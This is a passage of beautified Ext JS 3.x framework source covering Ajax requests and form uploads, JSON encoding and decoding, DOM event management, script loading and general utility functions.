if (Ext.isFunction(l)) {\n                l = l.call(n.scope || g, n)\n            }\n            l = Ext.urlEncode(s.extraParams, Ext.isObject(l) ? Ext.urlEncode(l) : l);\n            if (Ext.isFunction(k)) {\n                k = k.call(n.scope || g, n)\n            }\n            if ((m = Ext.getDom(n.form))) {\n                k = k || m.action;\n                if (n.isUpload || (/multipart\\/form-data/i.test(m.getAttribute(\"enctype\")))) {\n                    return s.doFormUpload.call(s, n, l, k)\n                }\n                t = Ext.lib.Ajax.serializeForm(m);\n                l = l ? (l + \"&\" + t) : t\n            }\n            j = n.method || s.method || ((l || n.xmlData || n.jsonData) ? i : a);\n            if (j === a && (s.disableCaching && n.disableCaching !== false) || n.disableCaching === true) {\n                var r = n.disableCachingParam || s.disableCachingParam;\n                k = Ext.urlAppend(k, r + \"=\" + (new Date().getTime()))\n            }\n            n.headers = Ext.applyIf(n.headers || {}, s.defaultHeaders || {});\n            if (n.autoAbort === true || s.autoAbort) {\n                s.abort()\n            }\n            if ((j == a || n.xmlData || n.jsonData) && l) {\n                k = Ext.urlAppend(k, l);\n                l = \"\"\n            }\n            return(s.transId = Ext.lib.Ajax.request(j, k, q, l, n))\n        } else {\n            return n.callback ? n.callback.apply(n.scope, [n, h, h]) : null\n        }\n    }, isLoading:function (j) {\n        return j ? Ext.lib.Ajax.isCallInProgress(j) : !!this.transId\n    }, abort:function (j) {\n        if (j || this.isLoading()) {\n            Ext.lib.Ajax.abort(j || this.transId)\n        }\n    }, handleResponse:function (j) {\n        this.transId = false;\n        var k = j.argument.options;\n        j.argument = k ? k.argument : null;\n        this.fireEvent(e, this, j, k);\n        if (k.success) {\n            k.success.call(k.scope, j, k)\n        }\n        if (k.callback) {\n            k.callback.call(k.scope, k, true, j)\n        }\n    }, handleFailure:function (j, l) {\n        this.transId = false;\n        var k = j.argument.options;\n        j.argument = k ? k.argument : null;\n        this.fireEvent(d, this, j, k, l);\n        if (k.failure) {\n            k.failure.call(k.scope, j, k)\n        }\n        if (k.callback) {\n            k.callback.call(k.scope, k, false, j)\n        }\n    }, doFormUpload:function (q, j, k) {\n        var l = Ext.id(), v = document, r = v.createElement(\"iframe\"), m = Ext.getDom(q.form), u = [], t, p = \"multipart/form-data\", n = {target:m.target, method:m.method, encoding:m.encoding, enctype:m.enctype, action:m.action};\n        Ext.fly(r).set({id:l, name:l, cls:\"x-hidden\", src:Ext.SSL_SECURE_URL});\n        v.body.appendChild(r);\n        if (Ext.isIE) {\n            document.frames[l].name = l\n        }\n        Ext.fly(m).set({target:l, method:i, enctype:p, encoding:p, action:k || n.action});\n        Ext.iterate(Ext.urlDecode(j, false), function (w, o) {\n            t = v.createElement(\"input\");\n            Ext.fly(t).set({type:\"hidden\", value:o, name:w});\n            m.appendChild(t);\n            u.push(t)\n        });\n        function s() {\n            var x = this, w = {responseText:\"\", responseXML:null, argument:q.argument}, A, z;\n            try {\n                A = r.contentWindow.document || r.contentDocument || g.frames[l].document;\n                if (A) {\n                    if (A.body) {\n                        if (/textarea/i.test((z = A.body.firstChild || {}).tagName)) {\n                            w.responseText = z.value\n                        } else {\n                            w.responseText = A.body.innerHTML\n                        }\n                    }\n                    w.responseXML = A.XMLDocument || A\n                }\n            } catch (y) {\n            }\n            Ext.EventManager.removeListener(r, c, s, x);\n            x.fireEvent(e, x, w, q);\n            function o(D, C, B) {\n                if (Ext.isFunction(D)) {\n                    D.apply(C, B)\n                }\n            }\n\n            o(q.success, q.scope, [w, q]);\n            o(q.callback, q.scope, [q, true, w]);\n            if (!x.debugUploads) {\n                setTimeout(function () {\n                    Ext.removeNode(r)\n                }, 100)\n            }\n        }\n\n        Ext.EventManager.on(r, c, s, this);\n        m.submit();\n        Ext.fly(m).set(n);\n        Ext.each(u, function (o) {\n            Ext.removeNode(o)\n        })\n    }})\n})();\nExt.Ajax = new Ext.data.Connection({autoAbort:false, serializeForm:function (a) {\n    return Ext.lib.Ajax.serializeForm(a)\n}});\nExt.util.JSON = new (function () {\n    var useHasOwn = !!{}.hasOwnProperty, isNative = function () {\n        var useNative = null;\n        return function () {\n            if (useNative === null) {\n                useNative = Ext.USE_NATIVE_JSON && window.JSON && JSON.toString() == \"[object JSON]\"\n            }\n            return useNative\n        }\n    }(), pad = function (n) {\n        return n < 10 ? \"0\" + n : n\n    }, doDecode = function (json) {\n        return json ? eval(\"(\" + json + \")\") : \"\"\n    }, doEncode = function (o) {\n        if (!Ext.isDefined(o) || o === null) {\n            return\"null\"\n        } else {\n            if (Ext.isArray(o)) {\n                return encodeArray(o)\n            } else {\n                if (Ext.isDate(o)) {\n                    return Ext.util.JSON.encodeDate(o)\n                } else {\n                    if (Ext.isString(o)) {\n                        return encodeString(o)\n                    } else {\n                        if (typeof o == \"number\") {\n                            return isFinite(o) ? String(o) : \"null\"\n                        } else {\n                            if (Ext.isBoolean(o)) {\n                                return String(o)\n                            } else {\n                                var a = [\"{\"], b, i, v;\n                                for (i in o) {\n                                    if (!o.getElementsByTagName) {\n                                        if (!useHasOwn || o.hasOwnProperty(i)) {\n                                            v = o[i];\n                                            switch (typeof v) {\n                                                case\"undefined\":\n                                                case\"function\":\n                                                case\"unknown\":\n                                                    break;\n                                                default:\n                                                    if (b) {\n                                                        a.push(\",\")\n                                                    }\n                                                    a.push(doEncode(i), \":\", v === null ? \"null\" : doEncode(v));\n                                                    b = true\n                                            }\n                                        }\n                                    }\n                                }\n                                a.push(\"}\");\n                                return a.join(\"\")\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }, m = {\"\\b\":\"\\\\b\", \"\\t\":\"\\\\t\", \"\\n\":\"\\\\n\", \"\\f\":\"\\\\f\", \"\\r\":\"\\\\r\", '\"':'\\\\\"', \"\\\\\":\"\\\\\\\\\"}, encodeString = function (s) {\n        if (/[\"\\\\\\x00-\\x1f]/.test(s)) {\n            return'\"' + s.replace(/([\\x00-\\x1f\\\\\"])/g, function (a, b) {\n                var c = m[b];\n                if (c) {\n                    return c\n                }\n                c = b.charCodeAt();\n                return\"\\\\u00\" + Math.floor(c / 16).toString(16) + (c % 16).toString(16)\n            }) + '\"'\n        }\n        return'\"' + s + '\"'\n    }, encodeArray = function (o) {\n        var a = [\"[\"], b, i, l = o.length, v;\n        for (i = 0; i < l; i += 1) {\n            v = o[i];\n            switch (typeof v) {\n                case\"undefined\":\n                case\"function\":\n                case\"unknown\":\n                    break;\n                default:\n                    if (b) {\n                        a.push(\",\")\n                    }\n                    a.push(v === null ? \"null\" : Ext.util.JSON.encode(v));\n                    b = true\n            }\n        }\n        a.push(\"]\");\n        return a.join(\"\")\n    };\n    this.encodeDate = function (o) {\n        return'\"' + o.getFullYear() + \"-\" + pad(o.getMonth() + 1) + \"-\" + pad(o.getDate()) + \"T\" + pad(o.getHours()) + \":\" + pad(o.getMinutes()) + \":\" + pad(o.getSeconds()) + '\"'\n    };\n    this.encode = function () {\n        var ec;\n        return function (o) {\n            if (!ec) {\n                ec = isNative() ? JSON.stringify : doEncode\n            }\n            return ec(o)\n        }\n    }();\n    this.decode = function () {\n        var dc;\n        return function (json) {\n            if (!dc) {\n                dc = isNative() ? JSON.parse : doDecode\n            }\n            return dc(json)\n        }\n    }()\n})();\nExt.encode = Ext.util.JSON.encode;\nExt.decode = Ext.util.JSON.decode;\nExt.EventManager = function () {\n    var z, p, j = false, l = Ext.isGecko || Ext.isWebKit || Ext.isSafari, o = Ext.lib.Event, q = Ext.lib.Dom, c = document, A = window, r = \"DOMContentLoaded\", t = \"complete\", g = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, u = [];\n\n    function n(E) {\n        var H = false, D = 0, C = u.length, F = false, G;\n        if (E) {\n            if (E.getElementById || E.navigator) {\n                for (; D < C; ++D) {\n                    G = u[D];\n                    if (G.el === E) {\n                        H = G.id;\n                        break\n                    }\n                }\n                if (!H) {\n                    H = Ext.id(E);\n                    u.push({id:H, el:E});\n                    F = true\n                }\n            } else {\n                H = Ext.id(E)\n            }\n            if (!Ext.elCache[H]) {\n                Ext.Element.addToCache(new Ext.Element(E), H);\n                if (F) {\n                    Ext.elCache[H].skipGC = true\n                }\n            }\n        }\n        return H\n    }\n\n    function m(E, G, J, F, D, L) {\n        E = Ext.getDom(E);\n        var C = n(E), K = Ext.elCache[C].events, H;\n        H = o.on(E, G, D);\n        K[G] = K[G] || [];\n        K[G].push([J, D, L, H, F]);\n        if (E.addEventListener && G == \"mousewheel\") {\n            var I = [\"DOMMouseScroll\", D, false];\n            E.addEventListener.apply(E, I);\n            Ext.EventManager.addListener(A, \"unload\", function () {\n                E.removeEventListener.apply(E, I)\n            })\n        }\n        if (E == c && G == \"mousedown\") {\n            Ext.EventManager.stoppedMouseDownEvent.addListener(D)\n        }\n    }\n\n    function d() {\n        if (window != top) {\n            return false\n        }\n        try {\n            c.documentElement.doScroll(\"left\")\n        } catch (C) {\n            return false\n        }\n        b();\n        return true\n    }\n\n    function B(C) {\n        if (Ext.isIE && d()) {\n            return true\n        }\n        if (c.readyState == t) {\n            b();\n            return true\n        }\n        j || (p = setTimeout(arguments.callee, 2));\n        return false\n    }\n\n    var k;\n\n    function i(C) {\n        k || (k = Ext.query(\"style, link[rel=stylesheet]\"));\n        if (k.length == c.styleSheets.length) {\n            b();\n            return true\n        }\n        j || (p = setTimeout(arguments.callee, 2));\n        return false\n    }\n\n    function y(C) {\n        c.removeEventListener(r, arguments.callee, false);\n        i()\n    }\n\n    function b(C) {\n        if (!j) {\n            j = true;\n            if (p) {\n                clearTimeout(p)\n            }\n            if (l) {\n                c.removeEventListener(r, b, false)\n            }\n            if (Ext.isIE && B.bindIE) {\n                c.detachEvent(\"onreadystatechange\", B)\n            }\n            o.un(A, \"load\", arguments.callee)\n        }\n        if (z && !Ext.isReady) {\n            Ext.isReady = true;\n            z.fire();\n            z.listeners = []\n        }\n    }\n\n    function a() {\n        z || (z = new Ext.util.Event());\n        if (l) {\n            c.addEventListener(r, b, false)\n        }\n        if (Ext.isIE) {\n            if (!B()) {\n                B.bindIE = true;\n                c.attachEvent(\"onreadystatechange\", B)\n            }\n        } else {\n            if (Ext.isOpera) {\n                (c.readyState == t && i()) || c.addEventListener(r, y, false)\n            } else {\n                if (Ext.isWebKit) {\n                    B()\n                }\n            }\n        }\n        o.on(A, \"load\", b)\n    }\n\n    function x(C, D) {\n        return function () {\n            var E = Ext.toArray(arguments);\n            if (D.target == Ext.EventObject.setEvent(E[0]).target) {\n                C.apply(this, E)\n            }\n        }\n    }\n\n    function w(D, E, C) {\n        return function (F) {\n            C.delay(E.buffer, D, null, [new Ext.EventObjectImpl(F)])\n        }\n    }\n\n    function s(G, F, C, E, D) {\n        return function (H) {\n            Ext.EventManager.removeListener(F, C, E, D);\n            G(H)\n        }\n    }\n\n    function e(D, E, C) {\n        return function (G) {\n            var F = new Ext.util.DelayedTask(D);\n            if (!C.tasks) {\n                C.tasks = []\n            }\n            C.tasks.push(F);\n            F.delay(E.delay || 10, D, null, [new Ext.EventObjectImpl(G)])\n        }\n    }\n\n    function h(H, G, C, J, K) {\n        var D = (!C || typeof C == \"boolean\") ? {} : C, E = Ext.getDom(H), F;\n        J = J || D.fn;\n        K = K || D.scope;\n        if (!E) {\n            throw'Error listening for \"' + G + '\". Element \"' + H + \"\\\" doesn't exist.\"\n        }\n        function I(M) {\n            if (!Ext) {\n                return\n            }\n            M = Ext.EventObject.setEvent(M);\n            var L;\n            if (D.delegate) {\n                if (!(L = M.getTarget(D.delegate, E))) {\n                    return\n                }\n            } else {\n                L = M.target\n            }\n            if (D.stopEvent) {\n                M.stopEvent()\n            }\n            if (D.preventDefault) {\n                M.preventDefault()\n            }\n            if (D.stopPropagation) {\n                M.stopPropagation()\n            }\n            if (D.normalized === false) {\n                M = M.browserEvent\n            }\n            J.call(K || E, M, L, D)\n        }\n\n        if (D.target) {\n            I = x(I, D)\n        }\n        if (D.delay) {\n            I = e(I, D, J)\n        }\n        if (D.single) {\n            I = s(I, E, G, J, K)\n        }\n        if (D.buffer) {\n            F = new Ext.util.DelayedTask(I);\n            I = w(I, D, F)\n        }\n        m(E, G, J, F, I, K);\n        return I\n    }\n\n    var v = {addListener:function (E, C, G, F, D) {\n        if (typeof C == \"object\") {\n            var J = C, H, I;\n            for (H in J) {\n                I = J[H];\n                if (!g.test(H)) {\n                    if (Ext.isFunction(I)) {\n                        h(E, H, J, I, J.scope)\n                    } else {\n                        h(E, H, I)\n                    }\n                }\n            }\n        } else {\n            h(E, C, D, G, F)\n        }\n    }, removeListener:function (E, I, M, N) {\n        E = Ext.getDom(E);\n        var C = n(E), K = E && (Ext.elCache[C].events)[I] || [], D, H, F, G, J, L;\n        for (H = 0, J = K.length; H < J; H++) {\n            if (Ext.isArray(L = K[H]) && L[0] == M && (!N || L[2] == N)) {\n                if (L[4]) {\n                    L[4].cancel()\n                }\n                G = M.tasks && M.tasks.length;\n                if (G) {\n                    while (G--) {\n                        M.tasks[G].cancel()\n                    }\n                    delete M.tasks\n                }\n                D = L[1];\n                o.un(E, I, o.extAdapter ? L[3] : D);\n                if (D && E.addEventListener && I == \"mousewheel\") {\n                    E.removeEventListener(\"DOMMouseScroll\", D, false)\n                }\n                if (D && E == c && I == \"mousedown\") {\n                    Ext.EventManager.stoppedMouseDownEvent.removeListener(D)\n                }\n                K.splice(H, 1);\n                if (K.length === 0) {\n                    delete Ext.elCache[C].events[I]\n                }\n                for (G in Ext.elCache[C].events) {\n                    return false\n                }\n                Ext.elCache[C].events = {};\n                return false\n            }\n        }\n    }, removeAll:function (E) {\n        E = Ext.getDom(E);\n        var D = n(E), J = Ext.elCache[D] || {}, M = J.events || {}, I, H, K, F, L, G, C;\n        for (F in M) {\n            if (M.hasOwnProperty(F)) {\n                I = M[F];\n                for (H = 0, K = I.length; H < K; H++) {\n                    L = I[H];\n                    if (L[4]) {\n                        L[4].cancel()\n                    }\n                    if (L[0].tasks && (G = L[0].tasks.length)) {\n                        while (G--) {\n                            L[0].tasks[G].cancel()\n                        }\n                        delete L.tasks\n                    }\n                    C = L[1];\n                    o.un(E, F, o.extAdapter ? L[3] : C);\n                    if (E.addEventListener && C && F == \"mousewheel\") {\n                        E.removeEventListener(\"DOMMouseScroll\", C, false)\n                    }\n                    if (C && E == c && F == \"mousedown\") {\n                        Ext.EventManager.stoppedMouseDownEvent.removeListener(C)\n                    }\n                }\n            }\n        }\n        if (Ext.elCache[D]) {\n            Ext.elCache[D].events = {}\n        }\n    }, getListeners:function (F, C) {\n        F = Ext.getDom(F);\n        var H = n(F), D = Ext.elCache[H] || {}, G = D.events || {}, E = [];\n        if (G && G[C]) {\n            return G[C]\n        } else {\n            return null\n        }\n    }, purgeElement:function (E, C, G) {\n        E = Ext.getDom(E);\n        var D = n(E), J = Ext.elCache[D] || {}, K = J.events || {}, F, I, H;\n        if (G) {\n            if (K && K.hasOwnProperty(G)) {\n                I = K[G];\n                for (F = 0, H = I.length; F < H; F++) {\n                    Ext.EventManager.removeListener(E, G, I[F][0])\n                }\n            }\n        } else {\n            Ext.EventManager.removeAll(E)\n        }\n        if (C && E && E.childNodes) {\n            for (F = 0, H = E.childNodes.length; F < H; F++) {\n                Ext.EventManager.purgeElement(E.childNodes[F], C, G)\n            }\n        }\n    }, _unload:function () {\n        var C;\n        for (C in Ext.elCache) {\n            Ext.EventManager.removeAll(C)\n        }\n        delete Ext.elCache;\n        delete Ext.Element._flyweights;\n        var G, D, F, E = Ext.lib.Ajax;\n        (typeof E.conn == \"object\") ? D = E.conn : D = {};\n        for (F in D) {\n            G = D[F];\n            if (G) {\n                E.abort({conn:G, tId:F})\n            }\n        }\n    }, onDocumentReady:function (E, D, C) {\n        if (Ext.isReady) {\n            z || (z = new Ext.util.Event());\n            z.addListener(E, D, C);\n            z.fire();\n            z.listeners = []\n        } else {\n            if (!z) {\n                a()\n            }\n            C = C || {};\n            C.delay = C.delay || 1;\n            z.addListener(E, D, C)\n        }\n    }, fireDocReady:b};\n    v.on = v.addListener;\n    v.un = v.removeListener;\n    v.stoppedMouseDownEvent = new Ext.util.Event();\n    return v\n}();\nExt.onReady = Ext.EventManager.onDocumentReady;\n(function () {\n    var a = function () {\n        var c = document.body || document.getElementsByTagName(\"body\")[0];\n        if (!c) {\n            return false\n        }\n        var b = [\" \", Ext.isIE ? \"ext-ie \" + (Ext.isIE6 ? \"ext-ie6\" : (Ext.isIE7 ? \"ext-ie7\" : (Ext.isIE8 ? \"ext-ie8\" : \"ext-ie9\"))) : Ext.isGecko ? \"ext-gecko \" + (Ext.isGecko2 ? \"ext-gecko2\" : \"ext-gecko3\") : Ext.isOpera ? \"ext-opera\" : Ext.isWebKit ? \"ext-webkit\" : \"\"];\n        if (Ext.isSafari) {\n            b.push(\"ext-safari \" + (Ext.isSafari2 ? \"ext-safari2\" : (Ext.isSafari3 ? \"ext-safari3\" : \"ext-safari4\")))\n        } else {\n            if (Ext.isChrome) {\n                b.push(\"ext-chrome\")\n            }\n        }\n        if (Ext.isMac) {\n            b.push(\"ext-mac\")\n        }\n        if (Ext.isLinux) {\n            b.push(\"ext-linux\")\n        }\n        if (Ext.isStrict || Ext.isBorderBox) {\n            var d = c.parentNode;\n            if (d) {\n                if (!Ext.isStrict) {\n                    Ext.fly(d, \"_internal\").addClass(\"x-quirks\");\n                    if (Ext.isIE && !Ext.isStrict) {\n                        Ext.isIEQuirks = true\n                    }\n                }\n                Ext.fly(d, \"_internal\").addClass(((Ext.isStrict && Ext.isIE) || (!Ext.enableForcedBoxModel && !Ext.isIE)) ? \" ext-strict\" : \" ext-border-box\")\n            }\n        }\n        if (Ext.enableForcedBoxModel && !Ext.isIE) {\n            Ext.isForcedBorderBox = true;\n            b.push(\"ext-forced-border-box\")\n        }\n        Ext.fly(c, \"_internal\").addClass(b);\n        return true\n    };\n    if (!a()) {\n        Ext.onReady(a)\n    }\n})();\n(function () {\n    var b = Ext.apply(Ext.supports, {correctRightMargin:true, correctTransparentColor:true, cssFloat:true});\n    var a = function () {\n        var g = document.createElement(\"div\"), e = document, c, d;\n        g.innerHTML = '<div style=\"height:30px;width:50px;\"><div style=\"height:20px;width:20px;\"></div></div><div style=\"float:left;background-color:transparent;\">';\n        e.body.appendChild(g);\n        d = g.lastChild;\n        if ((c = e.defaultView)) {\n            if (c.getComputedStyle(g.firstChild.firstChild, null).marginRight != \"0px\") {\n                b.correctRightMargin = false\n            }\n            if (c.getComputedStyle(d, null).backgroundColor != \"transparent\") {\n                b.correctTransparentColor = false\n            }\n        }\n        b.cssFloat = !!d.style.cssFloat;\n        e.body.removeChild(g)\n    };\n    if (Ext.isReady) {\n        a()\n    } else {\n        Ext.onReady(a)\n    }\n})();\nExt.EventObject = function () {\n    var b = Ext.lib.Event, c = /(dbl)?click/, a = {3:13, 63234:37, 63235:39, 63232:38, 63233:40, 63276:33, 63277:34, 63272:46, 63273:36, 63275:35}, d = Ext.isIE ? {1:0, 4:1, 2:2} : {0:0, 1:1, 2:2};\n    Ext.EventObjectImpl = function (g) {\n        if (g) {\n            this.setEvent(g.browserEvent || g)\n        }\n    };\n    Ext.EventObjectImpl.prototype = {setEvent:function (h) {\n        var g = this;\n        if (h == g || (h && h.browserEvent)) {\n            return h\n        }\n        g.browserEvent = h;\n        if (h) {\n            g.button = h.button ? d[h.button] : (h.which ? h.which - 1 : -1);\n            if (c.test(h.type) && g.button == -1) {\n                g.button = 0\n            }\n            g.type = h.type;\n            g.shiftKey = h.shiftKey;\n            g.ctrlKey = h.ctrlKey || h.metaKey || false;\n            g.altKey = h.altKey;\n            g.keyCode = h.keyCode;\n            g.charCode = h.charCode;\n            g.target = b.getTarget(h);\n            g.xy = b.getXY(h)\n        } else {\n            g.button = -1;\n            g.shiftKey = false;\n            g.ctrlKey = false;\n            g.altKey = false;\n            g.keyCode = 0;\n            g.charCode = 0;\n            g.target = null;\n            g.xy = [0, 0]\n        }\n        return g\n    }, stopEvent:function () {\n        var e = this;\n        if (e.browserEvent) {\n            if (e.browserEvent.type == \"mousedown\") {\n                Ext.EventManager.stoppedMouseDownEvent.fire(e)\n            }\n            b.stopEvent(e.browserEvent)\n        }\n    }, preventDefault:function () {\n        if (this.browserEvent) {\n            b.preventDefault(this.browserEvent)\n        }\n    }, stopPropagation:function () {\n        var e = this;\n        if (e.browserEvent) {\n            if (e.browserEvent.type == \"mousedown\") {\n                Ext.EventManager.stoppedMouseDownEvent.fire(e)\n            }\n            b.stopPropagation(e.browserEvent)\n        }\n    }, getCharCode:function () {\n        return this.charCode || this.keyCode\n    }, getKey:function () {\n        return this.normalizeKey(this.keyCode || this.charCode)\n    }, normalizeKey:function (e) {\n        return Ext.isSafari ? (a[e] || e) : e\n    }, getPageX:function () {\n        return this.xy[0]\n    }, getPageY:function () {\n        return this.xy[1]\n    }, getXY:function () {\n        return this.xy\n    }, getTarget:function (g, h, e) {\n        return g ? Ext.fly(this.target).findParent(g, h, e) : (e ? Ext.get(this.target) : this.target)\n    }, getRelatedTarget:function () {\n        return this.browserEvent ? b.getRelatedTarget(this.browserEvent) : null\n    }, getWheelDelta:function () {\n        var g = this.browserEvent;\n        var h = 0;\n        if (g.wheelDelta) {\n            h = g.wheelDelta / 120\n        } else {\n            if (g.detail) {\n                h = -g.detail / 3\n            }\n        }\n        return h\n    }, within:function (h, i, e) {\n        if (h) {\n            var g = this[i ? \"getRelatedTarget\" : \"getTarget\"]();\n            return g && ((e ? (g == Ext.getDom(h)) : false) || Ext.fly(h).contains(g))\n        }\n        return false\n    }};\n    return new Ext.EventObjectImpl()\n}();\nExt.Loader = Ext.apply({}, {load:function (j, i, k, c) {\n    var k = k || this, g = document.getElementsByTagName(\"head\")[0], b = document.createDocumentFragment(), a = j.length, h = 0, e = this;\n    var l = function (m) {\n        g.appendChild(e.buildScriptTag(j[m], d))\n    };\n    var d = function () {\n        h++;\n        if (a == h && typeof i == \"function\") {\n            i.call(k)\n        } else {\n            if (c === true) {\n                l(h)\n            }\n        }\n    };\n    if (c === true) {\n        l.call(this, 0)\n    } else {\n        Ext.each(j, function (n, m) {\n            b.appendChild(this.buildScriptTag(n, d))\n        }, this);\n        g.appendChild(b)\n    }\n}, buildScriptTag:function (b, c) {\n    var a = document.createElement(\"script\");\n    a.type = \"text/javascript\";\n    a.src = b;\n    if (a.readyState) {\n        a.onreadystatechange = function () {\n            if (a.readyState == \"loaded\" || a.readyState == \"complete\") {\n                a.onreadystatechange = null;\n                c()\n            }\n        }\n    } else {\n        a.onload = c\n    }\n    return a\n}});\nExt.ns(\"Ext.grid\", \"Ext.list\", \"Ext.dd\", \"Ext.tree\", \"Ext.form\", \"Ext.menu\", \"Ext.state\", \"Ext.layout.boxOverflow\", \"Ext.app\", \"Ext.ux\", \"Ext.chart\", \"Ext.direct\", \"Ext.slider\");\nExt.apply(Ext, function () {\n    var c = Ext, a = 0, b = null;\n    return{emptyFn:function () {\n    }, BLANK_IMAGE_URL:Ext.isIE6 || Ext.isIE7 || Ext.isAir ? \"http://www.extjs.com/s.gif\" : \"data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==\", extendX:function (d, e) {\n        return Ext.extend(d, e(d.prototype))\n    }, getDoc:function () {\n        return Ext.get(document)\n    }, num:function (e, d) {\n        e = Number(Ext.isEmpty(e) || Ext.isArray(e) || typeof e == \"boolean\" || (typeof e == \"string\" && e.trim().length == 0) ? NaN : e);\n        return isNaN(e) ? d : e\n    }, value:function (g, d, e) {\n        return Ext.isEmpty(g, e) ? d : g\n    }, escapeRe:function (d) {\n        return d.replace(/([-.*+?^${}()|[\\]\\/\\\\])/g, \"\\\\$1\")\n    }, sequence:function (h, d, g, e) {\n        h[d] = h[d].createSequence(g, e)\n    }, addBehaviors:function (i) {\n        if (!Ext.isReady) {\n            Ext.onReady(function () {\n                Ext.addBehaviors(i)\n            })\n        } else {\n            var e = {}, h, d, g;\n            for (d in i) {\n                if ((h = d.split(\"@\"))[1]) {\n                    g = h[0];\n                    if (!e[g]) {\n                        e[g] = Ext.select(g)\n                    }\n                    e[g].on(h[1], i[d])\n                }\n            }\n            e = null\n        }\n    }, getScrollBarWidth:function (g) {\n        if (!Ext.isReady) {\n            return 0\n        }\n        if (g === true || b === null) {\n            var i = Ext.getBody().createChild('<div class=\"x-hide-offsets\" style=\"width:100px;height:50px;overflow:hidden;\"><div style=\"height:200px;\"></div></div>'), h = i.child(\"div\", true);\n            var e = h.offsetWidth;\n            i.setStyle(\"overflow\", (Ext.isWebKit || Ext.isGecko) ? \"auto\" : \"scroll\");\n            var d = h.offsetWidth;\n            i.remove();\n            b = e - d + 2\n        }\n        return b\n    }, combine:function () {\n        var g = arguments, e = g.length, j = [];\n        for (var h = 0; h < e; h++) {\n            var d = g[h];\n            if (Ext.isArray(d)) {\n                j = j.concat(d)\n            } else {\n                if (d.length !== undefined && !d.substr) {\n                    j = j.concat(Array.prototype.slice.call(d, 0))\n                } else {\n                    j.push(d)\n                }\n            }\n        }\n        return j\n    }, copyTo:function (d, e, g) {\n        if (typeof g == \"string\") {\n            g = g.split(/[,;\\s]/)\n        }\n        Ext.each(g, function (h) {\n            if (e.hasOwnProperty(h)) {\n                d[h] = e[h]\n            }\n        }, this);\n        return d\n    }, destroy:function () {\n        Ext.each(arguments, function (d) {\n            if (d) {\n                if (Ext.isArray(d)) {\n                    this.destroy.apply(this, d)\n                } else {\n                    if (typeof d.destroy == \"function\") {\n                        d.destroy()\n                    } else {\n                        if (d.dom) {\n                            d.remove()\n                        }\n                    }\n                }\n            }\n        }, this)\n    }, destroyMembers:function (l, j, g, h) {\n        for (var k = 1, e = arguments, d = e.length; k < d; k++) {\n            Ext.destroy(l[e[k]]);\n            delete l[e[k]]\n        }\n    }, clean:function (d) {\n        var e = [];\n        Ext.each(d, function (g) {\n            if (!!g) {\n                e.push(g)\n            }\n        });\n        return e\n    }, unique:function (d) {\n        var e = [], g = {};\n        Ext.each(d, function (h) {\n            if (!g[h]) {\n                e.push(h)\n            }\n            g[h] = true\n        });\n        return e\n    }, flatten:function (d) {\n        var g = [];\n\n        function e(h) {\n            Ext.each(h, function (i) {\n                if (Ext.isArray(i)) {\n                    e(i)\n                } else {\n                    g.push(i)\n                }\n            });\n            return g\n        }\n\n        return e(d)\n    }, min:function (d, e) {\n        var g = d[0];\n        e = e || function (i, h) {\n            return i < h ? -1 : 1\n        };\n        Ext.each(d, function (h) {\n            g = e(g, h) == -1 ? g : h\n        });\n        return g\n    }, max:function (d, e) {\n        var g = d[0];\n        e = e || function (i, h) {\n            return i > h ? 1 : -1\n        };\n        Ext.each(d, function (h) {\n            g = e(g, h) == 1 ? g : h\n        });\n        return g\n    }, mean:function (d) {\n        return d.length > 0 ? Ext.sum(d) / d.length : undefined\n    }, sum:function (d) {\n        var e = 0;\n        Ext.each(d, function (g) {\n            e += g\n        });\n        return e\n    }, partition:function (d, e) {\n        var g = [\n            [],\n            []\n        ];\n        Ext.each(d, function (j, k, h) {\n            g[(e && e(j, k, h)) || (!e && j) ? 0 : 1].push(j)\n        });\n        return g\n    }, invoke:function (d, e) {\n        var h = [], g = Array.prototype.slice.call(arguments, 2);\n        Ext.each(d, function (j, k) {\n            if (j && typeof j[e] == \"function\") {\n                h.push(j[e].apply(j, g))\n            } else {\n                h.push(undefined)\n            }\n        });\n        return h\n    }, pluck:function (d, g) {\n        var e = [];\n        Ext.each(d, function (h) {\n            e.push(h[g])\n        });\n        return e\n    }, zip:function () {\n        var n = Ext.partition(arguments, function (i) {\n            return typeof i != \"function\"\n        }), k = n[0], m = n[1][0], d = Ext.max(Ext.pluck(k, \"length\")), h = [];\n        for (var l = 0; l < d; l++) {\n            h[l] = [];\n            if (m) {\n                h[l] = m.apply(m, Ext.pluck(k, l))\n            } else {\n                for (var g = 0, e = k.length; g < e; g++) {\n                    h[l].push(k[g][l])\n                }\n            }\n        }\n        return h\n    }, getCmp:function (d) {\n        return Ext.ComponentMgr.get(d)\n    }, useShims:c.isIE6 || (c.isMac && c.isGecko2), type:function (e) {\n        if (e === undefined || e === null) {\n            return false\n        }\n        if (e.htmlElement) {\n            return\"element\"\n        }\n        var d = typeof e;\n        if (d == \"object\" && e.nodeName) {\n            switch (e.nodeType) {\n                case 1:\n                    return\"element\";\n                case 3:\n                    return(/\\S/).test(e.nodeValue) ? \"textnode\" : \"whitespace\"\n            }\n        }\n        if (d == \"object\" || d == \"function\") {\n            switch (e.constructor) {\n                case Array:\n                    return\"array\";\n                case RegExp:\n                    return\"regexp\";\n                case Date:\n                    return\"date\"\n            }\n            if (typeof e.length == \"number\" && typeof e.item == \"function\") {\n                return\"nodelist\"\n            }\n        }\n        return d\n    }, intercept:function (h, d, g, e) {\n        h[d] = h[d].createInterceptor(g, e)\n    }, callback:function (d, h, g, e) {\n        if (typeof d == \"function\") {\n            if (e) {\n                d.defer(e, h, g || [])\n            } else {\n                d.apply(h, g || [])\n            }\n        }\n    }}\n}());\nExt.apply(Function.prototype, {createSequence:function (b, a) {\n    var c = this;\n    return(typeof b != \"function\") ? this : function () {\n        var d = c.apply(this || window, arguments);\n        b.apply(a || this || window, arguments);\n        return d\n    }\n}});\nExt.applyIf(String, {escape:function (a) {\n    return a.replace(/('|\\\\)/g, \"\\\\$1\")\n}, leftPad:function (d, b, c) {\n    var a = String(d);\n    if (!c) {\n        c = \" \"\n    }\n    while (a.length < b) {\n        a = c + a\n    }\n    return a\n}});\nString.prototype.toggle = function (b, a) {\n    return this == b ? a : b\n};\nString.prototype.trim = function () {\n    var a = /^\\s+|\\s+$/g;\n    return function () {\n        return this.replace(a, \"\")\n    }\n}();\nDate.prototype.getElapsed = function (a) {\n    return Math.abs((a || new Date()).getTime() - 